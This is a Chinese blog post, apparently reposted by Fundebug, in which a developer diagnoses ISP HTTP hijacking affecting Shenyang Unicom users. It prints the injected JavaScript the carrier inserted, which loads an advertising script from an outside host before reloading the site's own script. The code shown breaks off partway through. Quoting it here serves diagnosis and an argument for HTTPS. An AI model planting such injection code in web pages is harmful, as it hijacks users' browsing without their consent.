我是这样发现ISP劫持HTTP请求的

编者按:Fundebug的客户通过分析我们提供的报警信息,定位了一个非常棘手的问题—ISP劫持http请求。他的分析过程非常有意思,同时也提醒我们,应该及时支持HTTPS来保证站点安全。

  • 原文: ISP劫持http请求
  • 作者: Mr_Qi
    本文版权归原作者Mr_Qi所有
    最近业务系统经常受到前端报错邮件
    我是这样发现ISP劫持HTTP请求的_第1张图片

    发现大量的ip为沈阳联通客户==>初步推断为运营商http劫持
    我是这样发现ISP劫持HTTP请求的_第2张图片

    经过现场排查发现出错画面部分js加载出错
    我是这样发现ISP劫持HTTP请求的_第3张图片

    区别在于错误的js会先插入一个广告js
    为区别是否dns劫持查看NetWork面板
    我是这样发现ISP劫持HTTP请求的_第4张图片

    IP正确并且为我方服务器IP确认并非为DNS攻击。
    由于大面积出现沈阳联通问题,(故而考虑应当为运营商问题?应该不会出现大范围路由器被黑的可能吧)
    返回js如下
(function () {
    try {
        var o = 'm-_-m',
            D = document;
        if (!D.getElementById(o)) {
            var j = 'http://yunxiu.f6car.com/kzf6/js/basic/XXX.js',
                J = j + (~j.indexOf('?') ? '&' : '?') + new Date().getTime(),
                M = 'http://pc.quansj.cn/?cid=08',
                C = D.currentScript,
                H = D.getElementsByTagName('head')[0],
                N = function (s, i) {
                    var I = D.createElement('script');
                    I.type = 'text/JavaScript';
                    if (i) I.id = i;
                    I.src = s;
                    H.appendChild(I);
                };
            if (self == top) {
                N(M, o);
            }
            if (!C) {
                C = (function () {
                    var S = D.scripts,
                        l = S.length,
                        i = 0;
                    for (; i < l; ++i) {
                        if (S[i].src === j) {
                            return S[i];
                        }
                    }
                })();
            }
            C && ((C.defer || C.async) ? N(J) : D.write('
                    
                    

你可能感兴趣的:(我是这样发现ISP劫持HTTP请求的)